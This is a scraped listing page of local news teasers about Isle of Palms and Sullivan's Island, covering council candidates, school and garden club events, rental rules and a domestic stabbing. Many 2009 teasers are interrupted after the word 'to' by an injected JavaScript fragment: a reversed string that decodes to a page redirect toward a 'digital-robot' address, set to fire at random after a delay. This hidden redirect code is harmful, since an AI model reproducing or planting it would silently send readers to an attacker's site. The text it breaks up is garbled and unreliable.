Marty Bettelli has announced his candidacy for reelection. He has lived on the Isle of Palms since 1971, and his wife Linda grew up on Sullivan’s Island. He has two sons, a daughter, and one granddaughter. He retired from BellSouth after 33 years. He served in many capacities in their business systems organization and was …
Op-Ed: 200+ Years Later And Another Battle For Self-Governance Is Underway On The Historic Beaches Of South Carolina
By Jon Regan Walters for Island Eye News On 28 June 1776, a group of patriot militia in a half-built fort made of palmetto logs and sand fought and defeated the British Armada, the world’s …
Message From The Isle Of Palms Mayor: July 2022
Happy Fourth of July! I hope you’re planning to take part in the golf cart parade and our fireworks show. On Monday, July 4, the parade starts at 10 a.m. at 4th Avenue and Charleston …
New “No Toys Left Behind Bin” On Isle Of Palms Encourages Everyone To Keep Beach Clean
By Susan Hill Smith for Island Eye News Isle of Palms Cleanup Crew and the City of Isle of Palms have introduced a playful solution to coastal pollution by adding an official “No Toys Left …
Isle Of Palms Short-term Rentals Could See Occupancy Caps, License Limits
By Brian Sherman for The Island Eye News The Isle of Palms Planning Commission has determined that the city should limit the number of short term rental licenses it issues on parts of the island, …
Sullivan’s Island Town Council Seeks Opinions On Fractional Ownerships
By Brian Sherman for The Island Eye News The Sullivan’s Island Town Council is encouraging local residents to attend an upcoming meeting of the Council’s Land Use and Natural Resources Committee, where they will be …
Sep 17 2009
IOP Council Candidate: Barbara Bergwerf
Provided by Barbara Bergwerf Barbara Bergwerf is running for re-election tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the City Council on the Isle of Palms. Bergwerf brings valuable experience and insights intobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the needs of the City and its residents, having been a member of the Planning Commission for …
Sep 17 2009
IOP Council Candidate: Ron Denton
Provided by Ron Denton I am running for City Council because there is a critical need for candidates who have experience with the City government, in-depth knowledge of the issues currently facing the island and who have proven their dedication to improve the quality of life for the residents. I am currently the Chairman of …
Sep 17 2009
IOP Council Candidate: Barbara Gobien
Barb Gobien has lived on Isle of Palms since 1980. After completing a degree in Radiological Technology at the University of Rochester, she worked as a staff Technologist at Strong Memorial University Hospital for 10 years. She and her husband, Rolf, moved tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to South Carolina in 1979. On their …
Sep 11 2009
Lip Sync, anyone?
For a night of fun and entertainment, join us at the Annual Wando Lip Sync Competition taking place Wednesday September 16 at 7pm in the Wando High School Performing Arts Center. Students will present costumed and choreographed performances tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a variety of musical styles, including Top 40 and musical …
Sep 10 2009
Sullivan’s Island Elementary School Day Celebrate 911 Day of Caring
Principal Susan King, Jay O’Dell of Johnnie Dodds Publix along with PTA President Susan Ballinger will kick off Sullivan’s Island Elementary School Day of Caring at 7:45 on Friday, September 11. The Day of Caring is an unforgettable, hands-on experience; participants get tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to actively improve the school and community …
Sep 09 2009
Husband stabs wife during IOP vacation
The peace and serenity associated with a typical Isle of Palms weekend was shattered for a visiting family from Aiken, SC, over the Labor Day weekend. On Sunday, Septem-ber 6, a domestic dispute resulted in a husband stabbing his wife in plain view. According tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Isle of Palms Police …
Sep 04 2009
Socialize with the Garden Club – September 17
Gardening is a way of showing that you believe in tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomorrow. ~ Author Unknown The Isle of Palms Garden Club invites everyone tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to join them for useful information and social networking on September 17, 2009. This meeting starts with horticulture questions and design …
Sep 04 2009
Sullivan’s Island Town Council – August 18, 2009
Staff Report The Sullivan’s Island Town Council held their regular meeting on August 18. The meeting began with the recognition of former Councilman Everett Presson’s extensive work with the Council, as well as the individuals associated with the Police and Fire Departments who dedicated themselves and risked their own lives between July 9 and 13, …
Sep 04 2009
Rules and reminders in Isle of Palms rentals
By Paul Robinson It’s an issue that has been bubbling tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the political surface of the Isle of Palms for years: how tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to inform IOP guests of the local laws and do it in a way that still demonstrates the southern hospitality for …